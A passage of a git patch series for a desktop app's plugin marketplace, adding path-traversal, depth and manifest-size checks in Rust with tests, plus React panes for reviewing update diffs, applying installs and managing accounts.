2 * 1024 * 1024; pub const MAX_ITEM_FILES: usize = 200; /// Preview text is truncated to this many bytes (on a char boundary). const MAX_PREVIEW_BYTES: usize = 64 * 1024; +/// How many directory levels `collect_dir` will descend into an item before +/// giving up on it as invalid. A crafted tree can nest directories far deeper +/// than any real item would (or, over a network `TreeView`, be effectively +/// unbounded), so this is a hard stop rather than a performance nicety. +const MAX_ITEM_DEPTH: usize = 32; +/// `hooks//hook.json` and `plugins/.claude-plugin/marketplace.json` are +/// parsed as JSON before anything else about the item is known, so they are +/// capped and rejected *unparsed* well below `MAX_ITEM_BYTES` — a bound on +/// the whole item is not a bound on what one `serde_json::from_str` call is +/// asked to chew through. +const MAX_MANIFEST_BYTES: u64 = 1024 * 1024; const PLUGIN_CATALOG_PATH: &str = "plugins/.claude-plugin/marketplace.json"; @@ -123,6 +134,23 @@ fn invalid_name_reason(key: &str) -> String { ) } +/// Reject a git tree entry name that could escape the item root once it is +/// joined into a `/`-separated relative path: `.` and `..` (traversal), an +/// empty name (nothing to join), and any name containing `/`, `\` or a NUL +/// byte (a path separator on this or another OS, or a string terminator in +/// C-based tooling downstream). `TreeView` implementations are trusted to +/// return real entries, but a git tree is repo-controlled content, not +/// something this app authored, so a hostile blob naming a tree entry `..` +/// must not turn into a file written outside the item's own folder. +fn valid_entry_name(name: &str) -> bool { + !name.is_empty() + && name != "." + && name != ".." + && !name.contains('/') + && !name.contains('\\') + && !name.contains('\0') +} + /// Normalise a plugin `source` into a path under `plugins/`, refusing /// anything that is not a plain relative path staying inside `plugins/`. fn plugin_source_path(source: &serde_json::Value) -> Result { @@ -162,6 +190,13 @@ fn read_plugin_catalog(tree: &dyn TreeView) -> Result MAX_MANIFEST_BYTES { + return Err(format!( + "{} is larger than {} MiB", + PLUGIN_CATALOG_PATH, + MAX_MANIFEST_BYTES / (1024 * 1024) + )); + } let json: serde_json::Value = serde_json::from_str(&text) .map_err(|e| format!("{} is not valid JSON: {}", PLUGIN_CATALOG_PATH, e))?; let plugins = json @@ -199,13 +234,27 @@ fn item_path(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Result, total: &mut u64, ) -> Result<(), String> { + if depth > MAX_ITEM_DEPTH { + return Err(format!( + "is nested more than {} directories deep", + MAX_ITEM_DEPTH + )); + } let path = if rel.is_empty() { root.to_string() } else { @@ -215,6 +264,12 @@ fn collect_dir( .list_dir(&path)? .ok_or_else(|| format!("{} is not a folder", path))?; for entry in entries { + if !valid_entry_name(&entry.name) { + return Err(format!( + "contains an entry with an invalid name ({:?})", + entry.name + )); + } let child_rel = if rel.is_empty() { entry.name.clone() } else { @@ -233,15 +288,22 @@ fn collect_dir( child_rel )); } - EntryKind::Dir => collect_dir(tree, root, &child_rel, out, total)?, + EntryKind::Dir => { + *entries_seen += 1; + if *entries_seen > MAX_ITEM_FILES { + return Err(format!("has more than {} files", MAX_ITEM_FILES)); + } + collect_dir(tree, root, &child_rel, depth + 1, entries_seen, out, total)? + } EntryKind::File => { + *entries_seen += 1; + if *entries_seen > MAX_ITEM_FILES { + return Err(format!("has more than {} files", MAX_ITEM_FILES)); + } let data = tree .read_file(&format!("{}/{}", root, child_rel))? .ok_or_else(|| format!("{} vanished while reading", child_rel))?; *total += data.len() as u64; - if out.len() + 1 > MAX_ITEM_FILES { - return Err(format!("has more than {} files", MAX_ITEM_FILES)); - } if *total > MAX_ITEM_BYTES { return Err(format!( "is larger than {} MiB", @@ -311,7 +373,8 @@ pub fn item_files(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Result Some("SKILL.md"), ItemKind::Hook => Some("hook.json"), @@ -423,6 +486,13 @@ fn validate_hooks(hooks: &serde_json::Value) -> Result, String> { fn read_hook_json(tree: &dyn TreeView, key: &str) -> Result { let path = format!("hooks/{}/hook.json", key); let text = read_utf8(tree, &path)?.ok_or_else(|| format!("{} is missing", path))?; + if text.len() as u64 > MAX_MANIFEST_BYTES { + return Err(format!( + "{} is larger than {} MiB", + path, + MAX_MANIFEST_BYTES / (1024 * 1024) + )); + } serde_json::from_str(&text).map_err(|e| format!("{} is not valid JSON: {}", path, e)) } @@ -822,6 +892,89 @@ mod tests { assert!(parse_catalog(&t)[0].invalid.is_some()); } + #[test] + fn rejects_tree_entries_whose_name_could_escape_the_item() { + for bad_name in ["..", ".", "", "a\0b"] { + let t = MemTree::new() + .file("skills/s/SKILL.md", "x") + .raw_named_file("skills/s", bad_name, "evil"); + let err = item_files(&t, ItemKind::Skill, "s").unwrap_err(); + assert!( + err.contains("invalid name") || err.contains("invalid entry"), + "{:?}: {}", + bad_name, + err + ); + let items = parse_catalog(&t); + let skill = items.iter().find(|i| i.key == "s").unwrap(); + assert!( + skill.invalid.is_some(), + "{:?} should mark the item invalid", + bad_name + ); + } + } + + #[test] + fn directories_count_toward_the_item_file_limit() { + // Well under MAX_ITEM_FILES by file count alone (151 files), but 150 + // directories on top of that pushes total entries past the limit — + // a shape the old "only count files" logic let through. + let mut t = MemTree::new().file("skills/wide/SKILL.md", "x"); + for i in 0..150 { + t = t.file(&format!("skills/wide/d{}/f.txt", i), "x"); + } + let err = item_files(&t, ItemKind::Skill, "wide").unwrap_err(); + assert!(err.contains("more than 200 files"), "{}", err); + } + + #[test] + fn item_folders_cannot_nest_past_the_depth_cap() { + let mut nested = "skills/deep".to_string(); + for i in 0..40 { + nested = format!("{}/d{}", nested, i); + } + let t = MemTree::new() + .file("skills/deep/SKILL.md", "x") + .file(&format!("{}/leaf.txt", nested), "x"); + let err = item_files(&t, ItemKind::Skill, "deep").unwrap_err(); + assert!(err.contains("nested more than 32"), "{}", err); + assert!(parse_catalog(&t)[0].invalid.is_some()); + } + + #[test] + fn hook_json_over_1_mib_is_rejected_without_being_parsed() { + let huge = "x".repeat(MAX_MANIFEST_BYTES as usize + 1); + let t = MemTree::new().file("hooks/big/hook.json", &huge); + let items = parse_catalog(&t); + let hook = items.iter().find(|i| i.key == "big").unwrap(); + assert!( + hook.invalid + .as_deref() + .unwrap() + .contains("larger than 1 MiB"), + "{:?}", + hook.invalid + ); + } + + #[test] + fn plugin_catalog_over_1_mib_is_rejected_without_being_parsed() { + let huge = "x".repeat(MAX_MANIFEST_BYTES as usize + 1); + let t = MemTree::new().file("plugins/.claude-plugin/marketplace.json", &huge); + let items = parse_catalog(&t); + assert_eq!(items.len(), 1); + assert!( + items[0] + .invalid + .as_deref() + .unwrap() + .contains("larger than 1 MiB"), + "{:?}", + items[0].invalid + ); + } + #[test] fn hooks_must_name_known_events_and_commands() { let t = MemTree::new() diff --git a/app/src-tauri/src/marketplace/tree.rs b/app/src-tauri/src/marketplace/tree.rs index d56dc02..e600b25 100644 --- a/app/src-tauri/src/marketplace/tree.rs +++ b/app/src-tauri/src/marketplace/tree.rs @@ -92,6 +92,29 @@ impl MemTree { self } + /// Place a file so that, inside `dir`, it is listed under the literal + /// entry name `name` — including a name `file`/`exec_file`/`symlink` + /// could never be asked to produce because it doesn't correspond to any + /// real filesystem path a caller here would construct: `.`, `..`, empty, + /// or containing `/`, `\` or a NUL byte. Exists only so a test can drive + /// `catalog::collect_dir`'s hostile-entry-name rejection without relying + /// on incidental behaviour of path-string splitting. + pub fn raw_named_file(mut self, dir: &str, name: &str, contents: &str) -> Self { + let path = if dir.is_empty() { + name.to_string() + } else { + format!("{}/{}", dir, name) + }; + self.nodes.insert( + path, + MemNode::File { + data: contents.as_bytes().to_vec(), + executable: false, + }, + ); + self + } + fn is_dir(&self, path: &str) -> bool { if path.is_empty() { return true; -- 2.52.0 From 487443c27c726e9d8f8a1e6b273dd2b7b1921893 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 08:58:38 -0700 Subject: [PATCH 09/45] Marketplace UI: installed list, update diff review, apply now Applies preflight rulings F4, F7, F8, N5: Apply now's toast shows only the success/info summary (the marketplace-sync-finished event listener already toasts per-project errors/skips, so this avoids a double toast); row removal passes the bare MarketplaceItemRef rather than the full MarketplaceInstall; UpdateDiffModal shows a hook's rendered commands at head above the file diff so an update is reviewed the same way an install is. Co-Authored-By: Claude Opus 5.5 --- .../marketplace/InstalledPane.test.tsx | 144 ++++++++++++++ .../components/marketplace/InstalledPane.tsx | 182 +++++++++++++++++- .../marketplace/UpdateDiffModal.test.tsx | 58 ++++++ .../marketplace/UpdateDiffModal.tsx | 128 ++++++++++++ 4 files changed, 509 insertions(+), 3 deletions(-) create mode 100644 app/src/components/marketplace/InstalledPane.test.tsx create mode 100644 app/src/components/marketplace/UpdateDiffModal.test.tsx create mode 100644 app/src/components/marketplace/UpdateDiffModal.tsx diff --git a/app/src/components/marketplace/InstalledPane.test.tsx b/app/src/components/marketplace/InstalledPane.test.tsx new file mode 100644 index 0000000..6d94921 --- /dev/null +++ b/app/src/components/marketplace/InstalledPane.test.tsx @@ -0,0 +1,144 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor, within } from "@testing-library/react"; +import { useAppState } from "../../store/appState"; +import type { AppSettings, Project } from "../../lib/types"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; + +const applyMarketplaceNow = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + applyMarketplaceNow: (id?: string) => applyMarketplaceNow(id), +})); +vi.mock("./UpdateDiffModal", () => ({ + default: ({ onAccept }: { onAccept: () => Promise }) => ( + + ), +})); + +import InstalledPane from "./InstalledPane"; + +const A = "a".repeat(40); +const B = "b".repeat(40); + +function api(patch: Partial = {}): MarketplaceApi { + return { + snapshots: [], + updates: [], + loading: false, + refreshing: [], + load: vi.fn(), + refresh: vi.fn(), + reloadState: vi.fn(), + install: vi.fn(), + uninstall: vi.fn(async () => true), + setDisabled: vi.fn(), + update: vi.fn(async () => true), + forget: vi.fn(async () => true), + remove: vi.fn(), + ...patch, + }; +} + +describe("InstalledPane", () => { + beforeEach(() => { + vi.clearAllMocks(); + useAppState.setState({ + toasts: [], + appSettings: { + marketplaces: [{ id: "m1", name: "Starter", url: "https://x/y.git", branch: null, account_id: null }], + marketplace_accounts: [], + global_marketplace_installs: [ + { marketplace_id: "m1", kind: "agent", key: "rev", commit: A }, + { marketplace_id: "gone", kind: "skill", key: "old", commit: A }, + ], + } as unknown as AppSettings, + projects: [ + { + id: "p1", + name: "api", + status: "running", + marketplace_installs: [{ marketplace_id: "m1", kind: "command", key: "cmd", commit: B }], + marketplace_disabled: [], + }, + ] as unknown as Project[], + }); + }); + + it("lists global and project installs", () => { + render(); + const global = screen.getByTestId("installed-global"); + expect(within(global).getByText("rev")).toBeInTheDocument(); + const proj = screen.getByTestId("installed-project-p1"); + expect(within(proj).getByText("cmd")).toBeInTheDocument(); + }); + + it("badges and accepts an update for the matching install", async () => { + const mp = api({ + updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B }], + }); + render(); + fireEvent.click(screen.getByRole("button", { name: "Review update for rev" })); + fireEvent.click(screen.getByRole("button", { name: "accept diff" })); + await waitFor(() => + expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }), + ); + }); + + it("marks installs whose marketplace was removed and forgets them", () => { + const mp = api(); + render(); + expect(screen.getByText("Source removed")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("button", { name: "Forget installs from removed marketplaces" })); + expect(mp.forget).toHaveBeenCalledWith("gone"); + }); + + it("removes a project install", () => { + const mp = api(); + render(); + fireEvent.click(screen.getByRole("button", { name: "Remove cmd from api" })); + // F7: the ref passed to uninstall must be the bare item ref, not the + // MarketplaceInstall (which also carries `commit`). + expect(mp.uninstall).toHaveBeenCalledWith( + { marketplace_id: "m1", kind: "command", key: "cmd" }, + { type: "project", project_id: "p1" }, + ); + }); + + it("applies now and summarises the result", async () => { + applyMarketplaceNow.mockResolvedValue([ + { project_id: "p1", report: { installed: ["agent:rev"], updated: [], removed: [], skipped: [], errors: [], finished_at: "" } }, + ]); + render(); + fireEvent.click(screen.getByRole("button", { name: "Apply now" })); + await waitFor(() => expect(applyMarketplaceNow).toHaveBeenCalledWith(undefined)); + await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" })); + expect(useAppState.getState().toasts[0].message).toContain("1 running project"); + }); + + it("applies now with no running projects and shows an info toast", async () => { + applyMarketplaceNow.mockResolvedValue([]); + render(); + fireEvent.click(screen.getByRole("button", { name: "Apply now" })); + await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "info" })); + }); + + it("F4: does not toast per-project sync errors from apply now (the event listener owns that)", async () => { + applyMarketplaceNow.mockResolvedValue([ + { + project_id: "p1", + report: { installed: [], updated: [], removed: [], skipped: [], errors: ["boom"], finished_at: "" }, + }, + ]); + render(); + fireEvent.click(screen.getByRole("button", { name: "Apply now" })); + await waitFor(() => expect(applyMarketplaceNow).toHaveBeenCalled()); + await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" })); + expect(useAppState.getState().toasts).toHaveLength(1); + }); + + it("toasts an error only when the apply-now call itself fails", async () => { + applyMarketplaceNow.mockRejectedValue("container unreachable"); + render(); + fireEvent.click(screen.getByRole("button", { name: "Apply now" })); + await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error" })); + }); +}); diff --git a/app/src/components/marketplace/InstalledPane.tsx b/app/src/components/marketplace/InstalledPane.tsx index be7c5d1..12e39ad 100644 --- a/app/src/components/marketplace/InstalledPane.tsx +++ b/app/src/components/marketplace/InstalledPane.tsx @@ -1,9 +1,185 @@ +import { useState } from "react"; import type { MarketplaceApi } from "../../hooks/useMarketplace"; +import { useAppState } from "../../store/appState"; +import { KIND_LABELS } from "../../lib/marketplace"; +import { applyMarketplaceNow } from "../../lib/tauri-commands"; +import type { InstallScope, ItemUpdate, MarketplaceInstall, MarketplaceItemRef } from "../../lib/types"; +import Button from "../ui/Button"; +import UpdateDiffModal from "./UpdateDiffModal"; + +function errorText(e: unknown): string { + return typeof e === "string" ? e : e instanceof Error ? e.message : String(e); +} + +interface Pending { + install: MarketplaceInstall; + update: ItemUpdate; + scope: InstallScope; + scopeLabel: string; +} export default function InstalledPane({ mp }: { mp: MarketplaceApi }) { + const appSettings = useAppState((s) => s.appSettings); + const projects = useAppState((s) => s.projects); + const pushToast = useAppState((s) => s.pushToast); + const [pending, setPending] = useState(null); + const [applying, setApplying] = useState(false); + + const marketplaces = appSettings?.marketplaces ?? []; + const known = new Set(marketplaces.map((m) => m.id)); + const nameOf = (id: string) => marketplaces.find((m) => m.id === id)?.name ?? id; + const globalInstalls = appSettings?.global_marketplace_installs ?? []; + + const updateFor = (i: MarketplaceInstall) => + mp.updates.find( + (u) => + u.item.marketplace_id === i.marketplace_id && + u.item.kind === i.kind && + u.item.key === i.key && + u.head !== i.commit, + ); + + /** Hooks only (spec §3, preflight F8): the rendered commands at head, so the + * diff review shows what a hook will run after the update, not just the + * raw `hook.json` diff. */ + const hookCommandsFor = (item: MarketplaceItemRef): string[] | undefined => { + if (item.kind !== "hook") return undefined; + const snap = mp.snapshots.find((s) => s.marketplace_id === item.marketplace_id); + return snap?.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands; + }; + + const removedSources = [ + ...new Set( + [...globalInstalls, ...projects.flatMap((p) => p.marketplace_installs)] + .map((i) => i.marketplace_id) + .filter((id) => !known.has(id)), + ), + ]; + + const applyNow = async () => { + setApplying(true); + try { + const results = await applyMarketplaceNow(undefined); + // F4 (preflight): the backend emits `marketplace-sync-finished` for + // every project synced here, and `useMarketplaceSyncToasts` already + // toasts any errors/skips from that event. This toast is only the + // success/info summary — a second error toast here would double up. + if (results.length === 0) { + pushToast({ kind: "info", message: "No running projects — changes apply when a project starts." }); + } else { + pushToast({ + kind: "success", + message: `Marketplace applied to ${results.length} running project${results.length === 1 ? "" : "s"}. New Claude sessions will use it.`, + }); + } + } catch (e) { + pushToast({ kind: "error", message: "Could not apply marketplace changes", detail: errorText(e) }); + } finally { + setApplying(false); + } + }; + + const row = (i: MarketplaceInstall, scope: InstallScope, scopeLabel: string, removeLabel: string) => { + const upd = updateFor(i); + const gone = !known.has(i.marketplace_id); + // F7 (preflight): pass the bare item ref, not the MarketplaceInstall + // itself — `commit` is not part of the ref the backend/store expect here. + const ref: MarketplaceItemRef = { marketplace_id: i.marketplace_id, kind: i.kind, key: i.key }; + return ( +
  • +
    + {i.key} + + {KIND_LABELS[i.kind].replace(/s$/, "").toLowerCase()} · {nameOf(i.marketplace_id)} · {i.commit.slice(0, 8)} + + {gone && Source removed} +
    +
    + {upd && !gone && ( + + )} + +
    +
    • + ); + }; + return ( -

    - {mp.updates.length} update{mp.updates.length === 1 ? "" : "s"} available. -

    +
    +
    +

    + Installs are pinned to a commit. Containers pick up changes on their next start, or now for running ones. + Changes apply to new Claude sessions. +

    + +
    + + {removedSources.length > 0 && ( +
    +

    + Some installs come from marketplaces that were removed. They are removed from containers at their next + sync. +

    + +
    + )} + +
    +

    All projects

    + {globalInstalls.length === 0 ? ( +

    Nothing installed for all projects.

    + ) : ( +
      {globalInstalls.map((i) => row(i, { type: "global" }, "All projects", `Remove ${i.key} from all projects`))}
    + )} +
    + + {projects.map((p) => ( +
    +

    {p.name}

    + {p.marketplace_installs.length === 0 ? ( +

    + No project-only installs + {p.marketplace_disabled.length > 0 ? ` · opted out of ${p.marketplace_disabled.length} global item(s)` : ""}. +

    + ) : ( +
      + {p.marketplace_installs.map((i) => + row(i, { type: "project", project_id: p.id }, p.name, `Remove ${i.key} from ${p.name}`), + )} +
    + )} +
    + ))} + + {pending && ( + setPending(null)} + onAccept={() => mp.update(pending.update.item, pending.scope)} + /> + )} +
    ); } diff --git a/app/src/components/marketplace/UpdateDiffModal.test.tsx b/app/src/components/marketplace/UpdateDiffModal.test.tsx new file mode 100644 index 0000000..2f74188 --- /dev/null +++ b/app/src/components/marketplace/UpdateDiffModal.test.tsx @@ -0,0 +1,58 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; + +const marketplaceItemDiff = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + marketplaceItemDiff: (...a: unknown[]) => marketplaceItemDiff(...a), +})); + +import UpdateDiffModal from "./UpdateDiffModal"; + +const A = "a".repeat(40); +const B = "b".repeat(40); +const item = { marketplace_id: "m1", kind: "hook" as const, key: "notify" }; + +describe("UpdateDiffModal", () => { + beforeEach(() => vi.clearAllMocks()); + + it("loads the diff from the install's pin to head and accepts", async () => { + marketplaceItemDiff.mockResolvedValue([ + { path: "notify.sh", change: "modified", unified: "-echo old\n+echo new\n" }, + { path: "icon.png", change: "added", unified: null }, + ]); + const onAccept = vi.fn(async () => true); + render(); + await waitFor(() => expect(marketplaceItemDiff).toHaveBeenCalledWith(item, A, B)); + expect(screen.getByText(/\+echo new/)).toBeInTheDocument(); + expect(screen.getByText("Binary file — no text diff")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("button", { name: "Update" })); + await waitFor(() => expect(onAccept).toHaveBeenCalled()); + }); + + it("shows a load error and keeps Update disabled", async () => { + marketplaceItemDiff.mockRejectedValue("commit not in cache"); + render(); + expect(await screen.findByText(/commit not in cache/)).toBeInTheDocument(); + expect(screen.getByRole("button", { name: "Update" })).toBeDisabled(); + }); + + it("shows the rendered commands a hook will run after the update (F8)", async () => { + marketplaceItemDiff.mockResolvedValue([]); + render( + , + ); + await waitFor(() => expect(marketplaceItemDiff).toHaveBeenCalled()); + expect(screen.getByText("Commands after this update")).toBeInTheDocument(); + expect( + screen.getByText("/home/claude/.claude/triple-c/hooks/notify/run.sh --new-flag"), + ).toBeInTheDocument(); + }); +}); diff --git a/app/src/components/marketplace/UpdateDiffModal.tsx b/app/src/components/marketplace/UpdateDiffModal.tsx new file mode 100644 index 0000000..a8b569f --- /dev/null +++ b/app/src/components/marketplace/UpdateDiffModal.tsx @@ -0,0 +1,128 @@ +import { useEffect, useState } from "react"; +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; +import { marketplaceItemDiff } from "../../lib/tauri-commands"; +import { formatItemRef } from "../../lib/marketplace"; +import type { FileDiff, MarketplaceItemRef } from "../../lib/types"; + +interface Props { + item: MarketplaceItemRef; + fromCommit: string; + toCommit: string; + scopeLabel: string; + /** + * Hooks only: the rendered commands the item runs at `toCommit` (head), from + * the marketplace snapshot's catalog entry. An update can change what a hook + * runs without going back through the install-time confirm list, so this is + * shown alongside the file diff — spec §3. Undefined for non-hook items. + */ + hookCommands?: string[]; + onClose: () => void; + /** Resolves true when the update was applied. */ + onAccept: () => Promise; +} + +const CHANGE_LABEL: Record = { + added: "added", + removed: "removed", + modified: "modified", +}; + +export default function UpdateDiffModal({ + item, + fromCommit, + toCommit, + scopeLabel, + hookCommands, + onClose, + onAccept, +}: Props) { + const [diffs, setDiffs] = useState(null); + const [error, setError] = useState(null); + const [busy, setBusy] = useState(false); + + useEffect(() => { + let cancelled = false; + marketplaceItemDiff(item, fromCommit, toCommit) + .then((d) => { + if (!cancelled) setDiffs(d); + }) + .catch((e) => { + if (!cancelled) setError(typeof e === "string" ? e : String(e)); + }); + return () => { + cancelled = true; + }; + }, [item, fromCommit, toCommit]); + + const accept = async () => { + setBusy(true); + try { + if (await onAccept()) onClose(); + } finally { + setBusy(false); + } + }; + + return ( + + + + + } + > + {error &&

    {error}

    } + {!error && diffs === null &&

    Loading changes…

    } + {hookCommands && ( +
    +

    Commands after this update

    + {hookCommands.length === 0 ? ( +

    This hook declares no commands.

    + ) : ( +
      + {hookCommands.map((c) => ( +
    • + + {c} + +
      • + ))} +
    + )} +
    + )} + {diffs && diffs.length === 0 && ( +

    No file changes (only the catalog entry changed).

    + )} + {diffs && diffs.length > 0 && ( +
    + {diffs.map((d) => ( +
    +

    + {d.path} ({CHANGE_LABEL[d.change]}) +

    + {d.unified === null ? ( +

    Binary file — no text diff

    + ) : ( + 
    +                  {d.unified}
+
    + )} +
    + ))} +
    + )} +     + ); +} -- 2.52.0 From f3909084f6e2f08b70a4f18fd0f6d5a366ad27fd Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:03:38 -0700 Subject: [PATCH 10/45] =?UTF-8?q?Marketplace=20UI:=20accounts=20=E2=80=94?= =?UTF-8?q?=20gh=20on=20host,=20gh=20in=20a=20container,=20access=20tokens?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Per preflight F5, Remove is disabled with a hint for an account a marketplace uses rather than offering a confirm modal that promises a removal the backend refuses. Co-Authored-By: Claude Opus 5.5 --- .../marketplace/AccountsPane.test.tsx | 75 +++++++ .../components/marketplace/AccountsPane.tsx | 105 +++++++++- .../marketplace/AddAccountModal.test.tsx | 77 +++++++ .../marketplace/AddAccountModal.tsx | 190 ++++++++++++++++++ .../GhContainerLoginModal.test.tsx | 72 +++++++ .../marketplace/GhContainerLoginModal.tsx | 158 +++++++++++++++ 6 files changed, 673 insertions(+), 4 deletions(-) create mode 100644 app/src/components/marketplace/AccountsPane.test.tsx create mode 100644 app/src/components/marketplace/AddAccountModal.test.tsx create mode 100644 app/src/components/marketplace/AddAccountModal.tsx create mode 100644 app/src/components/marketplace/GhContainerLoginModal.test.tsx create mode 100644 app/src/components/marketplace/GhContainerLoginModal.tsx diff --git a/app/src/components/marketplace/AccountsPane.test.tsx b/app/src/components/marketplace/AccountsPane.test.tsx new file mode 100644 index 0000000..5c5b3bb --- /dev/null +++ b/app/src/components/marketplace/AccountsPane.test.tsx @@ -0,0 +1,75 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; +import { useAppState } from "../../store/appState"; +import type { AppSettings } from "../../lib/types"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; + +const testMarketplaceAccount = vi.fn(); +const removeMarketplaceAccount = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + testMarketplaceAccount: (id: string) => testMarketplaceAccount(id), + removeMarketplaceAccount: (id: string) => removeMarketplaceAccount(id), +})); +vi.mock("./AddAccountModal", () => ({ default: () =>
    add account modal
    })); + +import AccountsPane from "./AccountsPane"; + +const settings = { + marketplace_accounts: [ + { id: "a1", label: "Personal", host: "github.com", method: "gh_host", username: "me" }, + { id: "a2", label: "Gitea", host: "repo.example.com", method: "token", username: "jk" }, + ], + marketplaces: [{ id: "m1", name: "Team", url: "https://repo.example.com/t/m.git", branch: null, account_id: "a2" }], + global_marketplace_installs: [], +} as unknown as AppSettings; + +describe("AccountsPane", () => { + beforeEach(() => { + vi.clearAllMocks(); + useAppState.setState({ appSettings: settings, toasts: [] }); + }); + + it("lists accounts with their method and usage", () => { + render(); + expect(screen.getByText("Personal")).toBeInTheDocument(); + expect(screen.getByText(/gh on this computer/)).toBeInTheDocument(); + expect(screen.getByText(/Used by Team$/)).toBeInTheDocument(); + }); + + it("tests an account", async () => { + testMarketplaceAccount.mockResolvedValue("me"); + render(); + fireEvent.click(screen.getByRole("button", { name: "Test Personal" })); + await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" })); + expect(useAppState.getState().toasts[0].message).toContain("me"); + }); + + // F5: the backend refuses to remove an account a marketplace uses, so the + // UI must not promise otherwise with a confirm modal — Remove is disabled + // with a hint instead, and there is no confirm step to click through. + it("disables Remove for an account in use, with a hint", () => { + render(); + const removeGitea = screen.getByRole("button", { name: "Remove Gitea" }); + expect(removeGitea).toHaveAttribute("aria-disabled", "true"); + expect(screen.getByText(/Used by Team.*change or remove that marketplace first/)).toBeInTheDocument(); + fireEvent.click(removeGitea); + expect(removeMarketplaceAccount).not.toHaveBeenCalled(); + expect(screen.queryByRole("dialog")).not.toBeInTheDocument(); + }); + + it("removes an unused account", async () => { + removeMarketplaceAccount.mockResolvedValue({ ...settings, marketplace_accounts: [settings.marketplace_accounts[1]] }); + render(); + const removePersonal = screen.getByRole("button", { name: "Remove Personal" }); + expect(removePersonal).not.toHaveAttribute("aria-disabled"); + fireEvent.click(removePersonal); + await waitFor(() => expect(removeMarketplaceAccount).toHaveBeenCalledWith("a1")); + await waitFor(() => expect(useAppState.getState().appSettings!.marketplace_accounts).toHaveLength(1)); + }); + + it("opens the add dialog", () => { + render(); + fireEvent.click(screen.getByRole("button", { name: "Add account" })); + expect(screen.getByText("add account modal")).toBeInTheDocument(); + }); +}); diff --git a/app/src/components/marketplace/AccountsPane.tsx b/app/src/components/marketplace/AccountsPane.tsx index 41fcb1c..6f28255 100644 --- a/app/src/components/marketplace/AccountsPane.tsx +++ b/app/src/components/marketplace/AccountsPane.tsx @@ -1,11 +1,108 @@ +import { useState } from "react"; import type { MarketplaceApi } from "../../hooks/useMarketplace"; import { useAppState } from "../../store/appState"; +import { removeMarketplaceAccount, testMarketplaceAccount } from "../../lib/tauri-commands"; +import type { AccountMethod, MarketplaceAccount } from "../../lib/types"; +import Button from "../ui/Button"; +import AddAccountModal from "./AddAccountModal"; + +const METHOD_LABEL: Record = { + gh_host: "GitHub — gh on this computer", + gh_container: "GitHub — signed in via container", + token: "Access token", +}; export default function AccountsPane(_props: { mp: MarketplaceApi }) { - const count = useAppState((s) => s.appSettings?.marketplace_accounts.length ?? 0); + const appSettings = useAppState((s) => s.appSettings); + const setAppSettings = useAppState((s) => s.setAppSettings); + const pushToast = useAppState((s) => s.pushToast); + const [adding, setAdding] = useState(false); + const [testing, setTesting] = useState(null); + const [removing, setRemoving] = useState(null); + + const accounts = appSettings?.marketplace_accounts ?? []; + const marketplaces = appSettings?.marketplaces ?? []; + const usedBy = (id: string) => marketplaces.filter((m) => m.account_id === id).map((m) => m.name); + + const test = async (a: MarketplaceAccount) => { + setTesting(a.id); + try { + const login = await testMarketplaceAccount(a.id); + pushToast({ kind: "success", message: `${a.label} works — signed in as ${login}` }); + } catch (e) { + pushToast({ kind: "error", message: `${a.label} could not sign in`, detail: String(e) }); + } finally { + setTesting(null); + } + }; + + const remove = async (a: MarketplaceAccount) => { + setRemoving(a.id); + try { + setAppSettings(await removeMarketplaceAccount(a.id)); + } catch (e) { + pushToast({ kind: "error", message: `Could not remove ${a.label}`, detail: String(e) }); + } finally { + setRemoving(null); + } + }; + return ( -

    - {count} account{count === 1 ? "" : "s"}. -

    +
    +
    +

    + Accounts are used to fetch private marketplaces. Tokens are kept in your OS keychain and never enter + containers. +

    + +
    + {accounts.length === 0 &&

    No accounts yet. Public repositories need none.

    } +
      + {accounts.map((a) => { + const users = usedBy(a.id); + const inUse = users.length > 0; + return ( +
    • +
      +

      {a.label}

      +

      + {METHOD_LABEL[a.method]} · {a.host} + {a.username ? ` · ${a.username}` : ""} +

      + {inUse &&

      Used by {users.join(", ")}

      } +
      +
      + + +
      +
      • + ); + })} +
    + {adding && setAdding(false)} />} +
